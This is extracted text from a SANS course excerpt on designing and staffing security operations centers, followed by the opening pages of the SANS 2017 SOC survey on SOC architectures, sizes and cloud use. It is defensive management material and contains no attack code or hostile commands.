•Typically performed using a vulnerability scanner •Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify attack surface of systems: vulnerability to known flaws and weak configurations 24 Vulnerability assessments are most commonly associated with Vulnerability Scanners: software designed to check systems for deficient patches, default passwords, and weak configurations. This is an important ongoing program to assure that your systems are hardened. Frequently, vulnerability assessments are cataloging the deficiencies of information systems and there is no follow up on the remediation of those systems. Part of your vulnerability assessment must be to get the problems rectified. This should be something that we are excellent at by now, but seem to continue to struggle with the basic task of patching. I’ll recommend a solution for all those systems that system owners state they “can’t patch.” Tell then you have a solution for unpatchable systems. It’s called “Application Whitelisting.” The system is studied, a list of sanctioned executables is developed, and restrictions are implemented to only allow sanctioned executables. It takes work, but it is a mitigation for the “can’t patch” system. MGT517 | Managing Security OperationsPenetration Testing Components •Pen Testing goes beyond vulnerability scans to model how an adversary would compromise a system and what is at risk •Time intensive, expertise required •Objective: determine risk of an information system by demonstrating impact of compromise and model adversary attack methods against a system 25 Penetration testing is behaving like an attacker to gain an understanding of the risk of operating an information system. This is time intensive and requires expertise to do well. Typically, the scope of penetration tests is somewhat limited to have value. But, the adversary has few limits during attacks. If production systems aren’t pen tested, or can’t be pen tested, at least perform pen tests on new systems during development and prior to production. Vulnerability scanning isn’t pen testing. I repeat. Vulnerability scanning isn’t penetration testing. Pen tests attempt to leverage flaws. Vulnerability scans simply identify the potential presence of a flaw. A nice analogy for comparing vulnerability scans and pen tests: a vulnerability scan would determine that a door to a supply closet was left ajar. A penetration test would have someone go in to the closet through that door, look at the supplies present, select a few of the most valuable ones, then attempt to leave the building with them. The pen test might also tape over the lock to be able to come back to get the rest of the supplies, or even marshal resources within the staff to help move the supplies out of the closet to the pen tester’s truck at the loading dock. MGT517 | Managing Security OperationsExercises Components •Exercises model plausible scenarios, challenging staff to follow procedures and adapt new ones. They reinforce good practices and fix bad behavior. •Very valuable, but often neglected •The culture of “too busy” frequently prevents exercises •Objective: assess staff readiness, capability to follow defined procedures and improvise in the face of unanticipated issues 26 Developing exercises assesses the process, procedures, and people involved in security operations. We will discuss developing exercises in detail during the incident response section of the class. Effective use of exercises helps to refine the procedures, enhance communication, enhance awareness, and train staff on actions to perform. A lot of organizations think about exercises on an annual basis. I would prefer to think about exercises on a daily basis. This is like going to the gym. If you do this on a regular basis, your strength and capability improve substantially. MGT517 | Managing Security OperationsStructure of SOC Components •Pool of people (typically small group) •Everyone on one team, share responsibility, rotate rolls or matrix based on skillset and capability •Attacker Phase Mirroring •Organized groups as counter to attacker behaviors •Functional Group •What is mostly presumed for the MGT517 class material: primarily a pedagogical choice for clarityFunctions Arrangement Options 27 In a smaller group, it might not make sense to specialize. So, a few people do all of the functions that will be discussed in a matrix, a cycle, or some other work sharing strategy: scrum, agile, kanban, etc. It doesn’t (yet) matter the details of how this group of people will share the work, that will come in the operate phase. The design choice is that they will not have strict functional roles: they will share the responsibilities of the SOC functions. In the phase mirroring structure the group has functional capability in counterpoint to the perceived attack phases. The Lockheed Martin kill chain (discussed on day 3) or the MITRE cyber attack lifecycle (https://www.mitre.org/capabilities/cybersecurity/threat-based-defense ) is used as a basis for describing the steps an attacker generally takes. These are grouped, and a defensive group is formed to counter each of the phases of the attacker phases. This targets defense to the attacker’s offense. In MGT517, the functional areas as discussed as if they are organizational structural components of the SOC. Your exact structure might be different, but this is the most straightforward way to teach the concepts and discuss the various facets that go in to the design, build, and operations of a SOC. The rigor is for clarity and for clear delineation of responsibility. An organization doesn’t necessarily need to deploy exactly this functional group structure. MGT517 | Managing Security OperationsMulti-SOC Models Layers of SOC Follow-the-sun 28•Three or more physical locations across the globe to give 24x7 coverage •Dublin (UTC) , Seattle (UTC -8), Singapore (UTC +8) for example •Legal concerns of data privacy laws and data portability, and political stability of the country •Transitions between teams and consistency among capabilities and methodology is a challenge •We’ll talk more about culture tomorrow, but having the exact same procedures for teams in New York, Mumbai, and Tokyo will likely result in sub optimal performance, account for regional difference •Select which functions need follow the sun. NSM and Command Center are likely candidates, as is IR Follow-the-sun is a model that takes advantage of available workforce across the globe. It’s 5 o'clock somewhere. The first step is to identify at least three suitable locations where there is a workforce that has the appropriate skill set to perform security operations. The US, Europe, and Asia are typical locations due to roughly 8-hour offsets between the time zones. This provides for a relatively easy time scheduling performance of responsibilities. You’ll need physical work space in those locations, an appropriate business license, and will need to address the regional legal variations and privacy laws. Selecting a suitable locale is not easy. Long-term political stability is an issue, as is the probability of changes in laws that might make the physical location problematic to continue to operate. In 2016, for example, the United Kingdom voted to exit the European Union. This substantial political realignment (commonly referred to as Brexit) has cast a degree of uncertainty for employees, employers, and businesses. At the time of writing of this version of MGT517, this uncertainty is unresolved. When we delve into the detailed process data flow diagrams, you’ll need to add this additional transition capability into the workflow. Some functional areas will be outsourced to accomplish 24x7 coverage; the partner you select to accomplish this will likely have some variation of this model of 24x7x365 availability. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 29 Multi-SOC Models MGT517 | Managing Security OperationsMulti-SOC Models Models •Since many organizations do not have just one SOC, we’ll explore several models of coordination among SOCs within the organization •Federated •Hierarchical •Delegated 30 The SOC may be a single SOC, or it may exist in multiple formulations. The following slides offer a graphical depiction of how the SOCs will interoperate. Your arrangement will likely be an amalgam of these elements. These are presented as characteristics of methods of organizing MGT517 | Managing Security OperationsMulti-SOC Models Layers of SOC Core Business CoordinationFederated Business Unit 1Command Center NSM TI IR Forensic Self-Assessment Federated Business Unit 2Command Center NSM TI IR Forensic Self-Assessment Newly Acquired Business UnitCommand Center NSM TI IR Forensic Self-AssessmentModel 1 – Federated Model 31 Each business area operates its own SOC. They operate in parallel, with duplicate functionality. Funding for the SOC is typically derived from within the Business Unit. There is likely some coordination body at the highest level; however, that body has no technical capability and little to no information to share with the other SOC components. Information sharing is encouraged, but not mandated. Information sharing is often done by agreement between each entity with its sharing partner. It is most likely that not all information is shared. Filtration and redaction are likely regarding internal assets. External threat information is likely shared. MGT517 | Managing Security OperationsMulti-SOC Models Layers of SOC Model 2 – Hierarchy – All SOCs Have Full Capability Tier 3Tier 2Tier 1 (Highest)SOC 1 – Global SOC 2 – Country 1 SOC 3 – State 1SOC 4 – State 2SOC 5 – Country 2 SOC 6 – State ASOC 7 – State B 32 There is a hierarchy of SOCs with operational, directive control over SOCs in an inferior relationship in the hierarchy. Duplicate functionality in each SOC, but typically less funding in inferior SOCs, which greater expertise and funding at the higher level SOCs. Lower level SOCs provide localization support to have resources near the specific systems. This is appropriate for large organizations, and funding arrangements typically govern the relationship, where the funding all originates from a single source and is distributed among the capabilities. Reporting of incidents, and all produced artifacts up through the hierarchy is the typical scenario of information sharing, and the higher tiers aggregate then disseminate information back down the hierarchy. Higher levels will broadcast information to all lower levels. Peers often share information within the same tier for expedience, but the official channel is often up the hierarchy, then back down the hierarchy. An example is the majority of the United States Government, with US-CERT having the highest level (Global) position among the SOC, and each US Federal Agency operating at Tier 2. -CERT: (from https://www.us-cert.gov/about-us) Our Story In early 2000, Federal Government networks began to experience an alarming number of cyber breaches. In response, Congress created the Federal Computer Incident Response Center (FedCIRC) at the General Services Administration as a centralized hub of coordination and information sharing between federal organizations. With the creation of the Department of Homeland Security in 2002, Congress transferred these responsibilities to the new Department. In 2003, FedCIRC was renamed “US-CERT,” and its mission was expanded to include providing boundary protection for the federal civilian executive domain and cybersecurity leadership. This shared responsibility has evolved over time to make US-CERT a trusted partner and authoritative source in cyberspace for the Federal Government; SLTT governments; private industry; and international organizations. MGT517 | Managing Security OperationsMulti-SOC Models Layers of SOC Model 3 – Delegated Function – Only Needed Specialty is Delegated Tier 3 –Functional CapabilityTier 3Tier 2 –Functional CapabilityTier 2Tier 1 –Functional CapabilityTier 1 (Highest)SOC 1 – Global Command CenterNSM Forensics Threat IntelManaged SOCs SOC 2 - Country 1 Incident ResponseSelf AssessmentSOC 3 - Country 2 Incident ResponseSelf AssessmentSOC 4 – Country 3 Incident ResponseSelf AssessmentManaged SOCs SOC 7 – State 3A Incident Response 33 The delegated function model is when multiple tiers exist, but the capabilities are not replicated across tiers. Portions of the SOC are in different management control but are hierarchically lower related to other SOC components. Lower tiers inherit all the functionality from higher tiers, and leverage that function. Lower tiers justify the duplication based on some localization need that cannot be provided at the higher level and provide funding for those local functions. I use the analogy of Global, Country, State to express the tiers of hierarchy in familiar terms. Information is shared in a bi-directional fashion. Agreements for coordination are usually established formally. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 34 Where to Place the SOC in the Organization Structure MGT517 | Managing Security OperationsOrganization Staff Required COOGeneral Counsel SOCCFO CIO CISO GovernanceCIOO Network Operations System OperationsSOC Position: General Council – Legal Investigations The SOCwill land somewhere in the organization hierarchy. First, omitting a complex federated organization, the most logical position for the SOC is for it to report to the Chief Information Security Office (CISO) who in turn reports to the Chief Information Officer. The CIO also has a direct report of Chief Information Operations Officer (CIOO) who is responsible for development and operations of systems. Small organizations would have no CISO or CIOO. Large organizations would have a more complex structure, although I don’t think that the more complex structure enhances mission focus. I think that an extensive management structure takes funding away from analytical roles. A culture of self-identification and self- evaluation, as well as peer evaluation, is one where good analysts thrive. Excessive bureaucracy thwarts excellent analysis. MGT517 | Managing Security OperationsOrganization Staff Required COO CFO SOCCIO CISO GovernanceCIOO Network Operations System OperationsSOC Position: Financial Officer – Loss Prevention MGT517 | Managing Security OperationsOrganization Staff Required COOGeneral CounselCFO CIO CISO Governance Risk ManagementCIOO Network Operations System OperationsCSO SOCPhysical SecuritySOC Position: Security Officer – Security as Primary MGT517 | Managing Security OperationsOrganization Staff Required General CounselCFO CISO GovernanceRisk Manageme ntCOO (CTO) SOCNetwork OperationsSystem OperationsCSO Physical SecuritySOC Position: Operations MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 39 Staff Roles MGT517 | Managing Security OperationsSOC / Command Center The Program •Customer Service •Answering calls, triaging requests, performing basic analysis •Analysts •Detailed assessment of information received •Public Relations •External facing and Internal •ManagersPeople 40 In the Command Center, there are individuals responsible for interacting with external (to Command Center) parties. These individuals may also be analysts. The analyst performs the assessment of data and monitors ongoing incidents. An individual (perhaps staff filling another role, perhaps dedicated) is responsible for representing the Command Center in communication to external parties and the organization. A Manager oversees the interaction between the staff members, cultivates intra-team relationships and represents the Command Center to the rest of the SOC and the organization. Since this is potentially a 24x7 operation, there may be shifts in the various roles, including the manager. MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) The Program •Network Analysts •NIDS / HIDS / CND Analysts •Internal System Administrators for SOC tools •Network Engineers •Security Architects •Rule Writers (NIDS, HIDS, Yara, Memory Analysis) •Manager, possibly shift managersPeople 41 Analysts for investigation of data are core components of NSM. In addition, specialists in networking, security architecture, and administrators to manage the NSM systems are needed. There is a need to produce updated rules for the NIDS (and other alerting tools) and the analysts or a specific role will perform this rule creation. These rules should be tailored to the environment and specific threats observed within the environment. The data for the rules comes from the monitored systems, the threat intelligence team, or external information sources. There is a manager (or managers) who oversees the operation of this functional capability. If the function operates 24x7x365, there will be shift leads or managers to be the POC and responsible person. MGT517 | Managing Security OperationsThreat Intelligence The Program •Intelligence analysts –use data to form intel •Counter-intelligence analysts (uncommon) •As we develop an understanding of our adversary, we want to understand what they know about us •System designers and administrators –build, secure, maintain internal systems used for intel •Manager –potentially shift managersPeople 42 Analysts within the TI team assess the information available to them. Further, counter-intelligence analysts develop an understanding of what our adversary knows about use and our TI capability. System designers and administrators develop, deploy and maintain tools tosupport a TI capability, and a Manager oversees the activities. MGT517 | Managing Security OperationsIncident Response The Program •Analysts •Adaptable experts understanding systems and networks •Managers •Often tasked with bridging response actions with business component, since IR is frequently disruptive •Masters of communication, situational awareness, and adaptabilityPeople 43 The IR team is comprised of analysts who are capable of responding to most situations. These analysts typical have a substantial breadth of experience of both host and network assets. These analysts frequently are veterans of other operational aspects and become responders after having the experience and realizing they like it. Managers of the IR team interface with the SOC functions and direct response action while facilitating team coordination. They also facilitate decision making with the affected system owners and guide the response efforts to be most disruptive to the adversary and least disruptive to ongoing operations. MGT517 | Managing Security OperationsForensics The Program •Specialists within the appropriate area of forensics who are both capable and trustworthy •The insider threat is one aspect of trustworthiness, as is the concern over integrity and objectivity in the work •Managers •Possibly for each specialization •Shift managers as appropriate to operational tempoPeople 44 Analysts capable of executing the specific discipline identified: Host, Network, Reverse Engineering, and eDiscovery. An analyst may have duties across all of these, or be specialized in one of the specific disciplines. Where appropriate, the analyst can provide insight to other teams (IR, TI, NSM) to assist with enhancing SOC capability. The insider threat aspect is an important one to consider here. Imagine if the people responsible for providing detailed analysis were purposefully misleading the organization or suppressing information to further an adversary’s agenda. More likely, your analysts are negligent through being overworked, under trained, and forced down the avenue of subpar analysis through organizational culture. We’ll discuss this caveat and what to do about it on day 3. MGT517 | Managing Security OperationsSelf-Assessment The Program •Analysts •Configuration / Baseline •Pen-testing •Scanning •Project Managers •ManagersPeople 45 Analysts with the capability to perform the aforementioned testing are needed. Typically, a project manager supports the efforts of the self-assessment teams to maximize the value of the capability. Area managers oversee each area of responsibility. The ability to launch a vulnerability scan, or looking at the output from tripwire, or knowing what Microsoft’s desired state configuration power shell module (https://msdn.microsoft.com/en-us/powershell/dsc/overview) does isn’t sufficient to qualify as an analyst. The distinction of an analyst is not earned by running the tool but by translating the data to real business impact and providing guidance on selecting the best alternative between remediation choices. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 46 Process, Procedures, Playbooks MGT517 | Managing Security OperationsThe Only Constant Is Change Maturity •SOC processes should be designed to adapt to the inevitable changes it will face •Following the procedure is the right thing to do, so long as the procedures are always updated •Demonstrate SOCs capability to utilize its capability and resources everywhere possible to aid the business: federated central logging, for exampleAgility and Adaptability The SOCs environment of uncertainty and changing threat environment leads to a desire for agility. The definition of agility is change with minimal effort and minimal stress. This agility leads to the capacity for adaptability. Adaptability is the ongoing effort to work better in response to a varying environment. The SOC should embody agility and adaptability. Both imply maintaining integrity of SOC systems, as well as persistently enduring the adversity of the changing threat landscape. MGT517 | Managing Security OperationsPlaybook Maturity •Playbooks provide operational guidance on •Preferred methodology •Objective state •Available resources and opportunities for assistance •Requirements for escalation •Authority to perform tasks, and boundaries of authority •Should include checklists and quick reference materialGuidelines for the Professional A common strategy for defining procedures is the playbook. Rather than provide a specific step-by-step instruction set of tasks to perform, a playbook shows the staff what they need to do without being proscriptive. The playbook defines: the boundaries of authority, caveats for individual systems, past success strategies, past failures encountered, and guidance for assuring success. MGT517 | Managing Security OperationsStandard Operating Procedures Maturity •SOPs should be used in cases where rigor is needed to avoid errors •SOPs are useful for lower skilled, high turn over positions, but high-skill workers are often benefited by SOPs and checklists (despite their occasional protests to the contrary)Exact Steps to be Performed There are a large number of studies by the American Medical Association (eg. http://jamanetwork.com/journals/jamasurgery/fullarticle/2484543 ) that cite the implementation of checklists improves survival rate from surgeries. Other studies indicate that avoidable errors are reduced through checklists. Airline pilots, for example, have a standard operating procedure pre-flight checklist to avoid errors. Differentiating when an SOP is needed and when a playbook is appropriate is the art of management. For some teams proscriptive step-by-step instructions are required. For more mature teams, the step-by-step guides are often perceived as constraining yet prove incredibly valuable in avoiding errors. MGT517 | Managing Security OperationsSOC / Command Center Process The Program Command and ControlIncident ResponseNetwork Security Monitoring Forensics Threat IntelligenceSelf-Assessment Security Operations CenterUsers Help Desk E-mail Reports Problem Reports Law EnforcementThird-Party NotificationOverall Process Request Additional Info Containment Actions Request Threat Info Identify IssuesGather Evidence PublicStatus Reports News Releases Recordings Outreach AwarenessReport Illegal Activity Seek AdviceManagement The overall process components of the Command Center are to receive requests and provide direction to the functional areas of the SOC to protect the organization. MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) The Program Data SharingCommand and Control Incident ResponseNetwork Security MonitoringForensicsThreat IntelligenceUser reports External notification Threat environmentDetection / Deconfliction Incident declaration Impact analysisIncident information Info on data from seized systems Analysis reports Updated IOCs Impact analysisSituational awareness Updated internal signatures Suspicious items to monitor Validated indicators Updated IOCsDetailed information Analysis requestsCorrelation requests Data mining requests Historical trend analysisContainment requests Validation, identification, correlation requestsUpdated IOCs Impact analysisAnalysis reports Updated IOCs NSM function must provide information to the other functions to help them perform their function. If, for example, the NSM team determines there is a compromised system, NSM will tell the Incident Response (IR) team what system is affected, and provide specifications for the IR team to be able to understand what the issue is, and what initial steps should be taken. NSM will provide indicators to the threat intelligence team, with information on the source of the indicators, to help the threat intel team develop a catalog of known actors targeting the organization. NSM additionally will provide suspicious, but not known to be malicious, items to the threat intelligence team for long-term study. NSM will provide data to IR to perform containment as well as request additional information. While some decisions will go through Command Center to direct IR tasks, establishing direct NSM to IR action requests and information transfer facilitates faster performance. The Command Center is aware of all requests for activity. NSM receives information from TI, Forensics, IR, and Self-Assessment to have updated indicators as well as a better understanding of the information systems to defend. MGT517 | Managing Security OperationsThreat Intelligence The Program Open Source Resources Internal Information SourcesAttribution Info Threat IntelligenceCollect open source info Collect internal adversary infoRetain adversary characteristics Internal threat actor attribution & characteristics Correlate events to threat actors Overall Process Looking at internal data is a very valuable exertion of threat intelligence resources. Learning from adversary activities helps to thwart that adversary’s future attempts at compromise and data theft. How? By understanding what the adversary has done in the past, so even weak systems can have mitigating controls designed to frustrate efforts of compromise. The best threat intelligence is how an adversary has succeeded or come close to succeeding in your environment. It provides opportunities for you to re-architect, add detection, or add mitigation capability. Another opportunity is to establish new resources for actual use, and leave adversary affected resources in place as a harbinger of that adversaries return. MGT517 | Managing Security OperationsIncident Response The Program Overall Process Incident ResponseNetwork Security Monitoring Forensics Threat IntelligenceSelf-AssessmentCommand and ControlSecurity Operations Center Business Units ManagementSteering CommitteeCoordination with BUs & Management IR works with other SOC functions to: -Obtain support and analysis -Provide status and reportingExternal Systems Internal SystemsIsolate and contain assets: -Logically -Physically Eradicate issuesReturn to service This page intentionally left blank. MGT517 | Managing Security OperationsForensics The Program Overall Process Internal SystemsForensics Host, Network, RENetwork Forensics Log, event info, and PCAP acquisitionHost Forensics Memory & disk acquisitionCommand and ControlManagement Analyze asset Maintain chain of custody Ensure asset integrity Full PCAP Log ServerNetwork Network & Related ArtifactsProvide info related to case Reverse Engineering Device, software, or code acquisition Host-based forensics entails the acquisition of volatile information, specifically memory, as well as non-volatile data, almost always in the form of the hard drive storage from the system. Work is performed on a copy of the acquired content. It is necessary to have capability in place to either remotely or locally acquire the memory and hard drive or drive storage in the case of logical presentation of drives such as Storage Area Networks (SANs) or Network Attached Storage (NASs). It is more efficient to be able to perform full memory collection remotely, but it is not always feasible since this entails installation of client agents and usually involves expensive software. Distributed memory analysis (rather than full memory collection) is now commonly deployed. Upon collection of assets, a chain of custody should be initiated. If this is the logical acquisition of a hard drive image, this would involve making a hash of the drive, and recording who performed the acquisition. In cases where the hard drive is pulled from the computer, this would involve the user signing for transfer of the hard drive to the service technician or the forensic analyst. The point is to be able to substantiate that the asset was protected from modification once it was acquired. This is not always used but should be a matter of standard operating procedure in all cases. Analysis of assets is the majority of the work in the forensic field. This involves substantial work, background knowledge, and the correlation between events. We won’t delve into the details of the forensic process here. But typically forensic analysis is performed with a specific investigation scope in mind. Instead of investigating everything that ever happened on the host, there are relevant questions to answer. Examples include, “Was the host infected with malware?” Or, “Did the user attempt and successfully move data from the host to a USB device?” MGT517 | Managing Security OperationsSelf-Assessment The Program Internal SystemsSelf-AssessmentConfiguration Monitoring -Create baselines -Identify configuration changes -Maintain systems External Systems Management responsibilities -Approve changes -Manage exceptions -Track remediation effortsVulnerability Assessment -Identify risk & exposure -Scan systems for known vulns -Identify new vulns Penetration Testing -Model attacker scenarios -Exploit systems -Reconnaissance, org intelligence -Deconfliction Exercises -Tabletop scenarios -Model threats and events -Train and assess staff -DR / BCPManagement This page intentionally left blank. MGT517 | Managing Security OperationsProcess Details Data Flow •A lot of detail •Download https://bit.ly/crow-socSwim lane Data Flow Diagram (DFD) This page intentionally left blank. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 57 Summary MGT517 | Managing Security OperationsFor More Information References •This is the model from SANS MGT517: Managing Security Operations: Detection, Response, and Intelligence •You may have a large group of people in compartmentalized roles according to these functions, or a small number of people with flexibility responsibilities to cover all the functions 58 MGT517 | Managing Security OperationsAdditional Reading References •MITRE –10 Strategies of World-Class CSOC •David Nathans -Designing and Building a SOC •SANS –SOC Summit Archive •RSA –Building a Security Operations Center (SOC) •Cisco Press –Security Operations Center: Building, Operating, and Maintaining your SOC •Verizon Data Breach Investigation Report (DBIR) •FireEye M-Trends 59 This class draws upon the author’s experience as well as information available online and in print. A few selected online items that you are strongly encouraged to review are below. MITRE’s – Ten Strategies of a World-Class Cybersecurity Operations Center: https://www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdf David Nathans –Designing and Building a Security Operations Center: https://www.amazon.com/Designing-Building-Security-Operations-Center/dp/0128008997 SANS – 2015 Security Operations Center Summit archive: https://files.sans.org/summit/SOC_Summit_2015/ Zip of all presentations: http://files.sans.org/summit/SOC_Summit_2015/SOC_Summit_2015.zip RSA – Building a Security Operations Center (SOC): http://www.rsaconference.com/writable/presentations/file_upload/tech-203.pdf Cisco Press- Security Operations Center: Building, Operating, and Maintaining your SOC http://www.ciscopress.com/store/security-operations-center-building-operating-and-maintaining- 9780134052014 Verizon DBIR: http://www.verizonenterprise.com/verizon-insights-lab/dbir/ MGT517 | Managing Security OperationsDownloads & Contact Information First Principles https://bit.ly/crow-soc @CCrowMontance chris@montance.com 60 MGT517 | Managing Security Operations --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgY1p4bkJlTmcwMWM/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgY1p4bkJlTmcwMWM/view?usp=drive_link]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Future SOC: SANS 2017 Security Operations Center Survey The primary strengths of security operations centers (SOCs) are flexibility and adaptability, while their biggest weakness is lack of visibility. Survey results indicate a need for more automation across the prevention, detection and response functions. There are opportunities to improve security operations, starting with coordination with IT operations. SOCs can improve their understanding how to serve the organization more effectively and their use of metrics. Copyright SANS Institute Author Retains Full Rights ©2017 SANS™ InstituteA SANS Survey Written by Christopher Crowley May 2017 Sponsored by Carbon Black, Endgame, LogRhythm, NETSCOUT, Tripwire, and ThreatConnectFuture SOC: SANS 2017 Security Operations Center Survey Security operations centers (SOCs) are growing up, according to our new SANS survey. Respondents indicated that the SOC’s primary strengths are flexibility and adaptability while its biggest weakness is lack of visibility: SOCs still can’t detect previously unknown threats, which is a consistent problem across many other SANS surveys. The survey also found a need for more automation across the prevention, detection and response functions—particularly in prevention and detection, where the tools respondents use are mostly the same. As a sign that SOCs are becoming multifunctional and maturing, 67% of respondents said they are satisfied with their flexibility of response, while 65% are satisfied with their overall response time and 64% felt satisfied with containment abilities. However, satisfaction numbers dip below 50% for SOC-NOC (network operations center) coordination and effectiveness, as well as the ability to detect previously unknown threats, which is also the capability that received the most “not satisfied” responses, at 45%. These are clear areas where more automation and integration will help organizations take their SOCs to the next level. Most SOCs (83%) have a defined notion of what an incident is, and 57% of respondents said they utilize metrics for assessing the SOC’s performance. Yet, 69% of those who use metrics require substantial manual effort to compile those metrics. This is another area where better automation and SOC-NOC information sharing would help organizations take their SOCs to the next level. However, only 32% of SOCs have close integration with network operations and only 12% have strong technical integration between the groups. This lack of integration may be due, in part, to the variety of architectures respondents utilize. Overall, 61% currently have centralized their security, response and remediation functions into a single SOC, and 28% disperse their SOC functions to different security, response and remediation departments. Respondents are also mixing up their capabilities with the cloud, particular for their preventive capabilities. While organizational SOCs are maturing and expanding their capabilities today, there are clear opportunities to improve security operations, starting with better relationships and coordination with IT operations. SOCs can better self-assess with metrics and do a better job of understanding how to serve the organization more effectively. These and other issues, along with advice and best practices, are discussed in the following pages. SANS ANALYST PROGRAM Future SOC: SANS 2017 Security Operations Center Survey 1Executive Summary 1 “Ten Strategies of a World-Class Cybersecurity Operations Center, ” Carson Zimmerman, MITRE, 2014, www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdfSecurity Operations Center (SOC) A team primarily composed of security analysts organized to detect, analyze, respond to, report on and prevent cybersecurity incidents. 1 What SOCs Do Respondents indicated a broad range of capabilities in their SOC: provide prevention capabilities through network IDS/IPS, while 89% provide either log management or network monitoring provide detection capabilities through network IDS/IPS, while 85% provide log management and 84% provide SIEM reporting and analytics provide response capabilities through endpoint detection and response (EDR), while 74% use network forensic analysis and 72% provide host-based forensics 91% 86% 77% SOC Architectures SANS ANALYST PROGRAM 2The 309 respondents who qualified for this survey most commonly described themselves as technical practitioners (50%), with roles such as developer, architect, analyst, administrator or operator of some form. Managers (manager, director, officer or C-level) made up 40% of respondents, while another 8% worked in a spectrum of jobs related to incident response and 2% were auditors. The largest group (14%) worked for cyber security firms, while 13% were from banking and finance, 12% from technology, and 10% from government sectors. See Figure 1. These demographics are slightly different than those of most other SANS surveys, in which the top two respondent categories are usually government and finance. The high number of those in a cyber security business may indicate a growing trend for cloud- based SOCs and the staffs to fill them. Future SOC: SANS 2017 Security Operations Center SurveyWhat is your organization’s primary industry? ManufacturingTechnologyCyber security Insurance UtilitiesGovernmentBanking and finance Telecommunications/ISP RetailHealthcare MediaEducation Transportation HospitalityOther Figure 1. Industries Represented14% 12%10% 8% 6% 4%2%0% SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 3Locations and Centralization Organizations represented in the survey run business operations all over the world (see Figure 2), with 54% headquartered in the United States and 22% headquartered in Europe. Those with global operations said most of their SOCs (61%) are currently centralized into a single center, but we didn’t ask where those centralized SOCs were actually located (inferring that they may or may not be in the same location as their headquarters). Future SOC: SANS 2017 Security Operations Center SurveyIn what countries or regions does your organization have operations? Select all that apply. 69% 26%18% 24%25%27% 49%36% In what countries or regions is your primary corporate headquarters? Select all that apply. 54% 4%2% 2%5%5% 22%7% Figure 2. Regions and Headquarters of Organizations SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 4Those in the second largest group (28%) indicated that their SOC functions are dispersed among different security and response groups, while 25% of SOCs are centralized and distributed regionally and 17% are putting all their SOC functions into the cloud, as illustrated in Figure 3. Because this was an “answer all that apply” question, there is some overlap between answers, indicating that there are a lot of different architectures being followed. It is clear, however, that SOC-related functions are becoming embedded, centralized or dispersed depending on organizational need. Some of this variation may also have to do with the maturity of the SOCs, which was not addressed in this study. Future SOC: SANS 2017 Security Operations Center SurveyTAKEAWAY In the future, security teams will need to implement and follow security maturity curves for their SOCs if they want to see them get to the next level. 2 2 “Getting C-Level Support to Ensure a High-Impact SOC Rollout, ” September 2016, www.sans.org/reading-room/whitepapers/analyst/c-level-support-ensure-high-impact-soc-rollout-37347What is the architectural approach for your SOC, and what additional architecture is planned for the next 24 months? Select those that most apply. Centralized into a single SOC Full SOCs distributed regionally SOC functions dispersed to different departments (e.g., security, response, compliance) Some SOC functions handled by a single cloud provider Some SOC functions handles by multiple cloud providers OtherCentralized and distributed regionally Partial SOCs in regional locations All SOC functions handled by a single cloud provider All SOC functions handled by multiple cloud providers Figure 3. Architectural Approaches Used for SOCs0% 40% 20% 60% Current Next 24 Months SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 5Size and the SOC Another factor potentially affecting SOC architectures is the size of the organization. Respondents were from a variety of organizational sizes, the largest group being from midsize organizations (251 to 1,000 employees and contractors) and medium-to-large organizations (2,000 to 15,000 workers). Overall, 66% represented workforces of fewer than 10,000 employees and contractors. We decided to break the organizational sizes into these categories given the very large company sizes represented beyond the 1,000-sized organization (which is a traditional measurement of a “large” company). See Figure 4. Future SOC: SANS 2017 Security Operations Center SurveyWhat is the size of the workforce at your organization, including employees, contractors and consultants? 5,001–10,000251–1,000Fewer than 100 10,001–15,0001,001–2,000100–250 15,001–50,000 50,001–100,000 More than 100,0002,001–5,000 Figure 4. Organizational Size12% 8% 4%0% SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 6Survey results indicate that SOC size does not closely depend on organizational size, at least for organizations with workforces under 10,000. The general size of the SOC for most small to what we’re labeling medium and medium-to-large organizations (i.e., with workforces of 10,000 or fewer) seems to be between two and five full-time employee (FTE) positions authorized. See Figure 5. Figure 5. SOC Size in Positions Authorized Versus Organization Size The top answer for even those organizations with fewer than 100 workers was two to five FTEs. This may be another indicator of their utilization of cloud services. While two to five FTEs was still the most selected answer at the 5,001 to 10,000 range, the shift toward more FTEs becomes fully visible as we reach 10,001 and over, where staffing moves toward the 11-to-25 range, with organizations over 100,000 trending toward the 26-to- 100 SOC staff size. Future SOC: SANS 2017 Security Operations Center SurveyOrganization Size Versus Positions Authorized 5,001–10,000251–1,000Fewer than 100 10,001–15,0001,001–2,000100–250 15,001–50,000 50,001–100,000 More than 100,0002,001–5,000 Figure 5. SOC Size in Positions Authorized Versus Organization Size7% 6% 5% 4%3%2% 1% 0% <1 (part time) 1 2–5 6–10 11–25 26–100 100–1,000 SOC Architectures (CONTINUED) SANS ANALYST PROGRAM 7SOC Staffing This survey asked the size of the SOC but not how the organization determined what the size should be. The primary parameters determining size are: • Capability required—Compliance based, heavily customized, all in-house or mostly outsourced • Performance objectives—Detection, response, forensics, hours of performance (9 to 5 or 24/7) • Duplication necessary—Potential need for different SOCs in geographical areas, for example, an EU-specific SOC for European Union data • Budget—Limits the delivery of capability, performance and duplication Mixing It Up with Cloud Cloud computing is currently part of 46% of the SOC infrastructures represented in this survey, with 21% of respondents saying some functions will be cloud-based in the next 24 months and another 21% saying all of their SOC functions will be handled by one or multiple cloud providers in the next 24 months. When it comes to managing specific capabilities in their SOCs, respondents said most activities are primarily handled in-house, particularly strategic activities such as their security roadmap and planning, security architecture and engineering, and security administration, all with over 78% claiming in-house management. Future SOC: SANS 2017 Security Operations Center SurveyPercentage of respondents who manage their security roadmap and 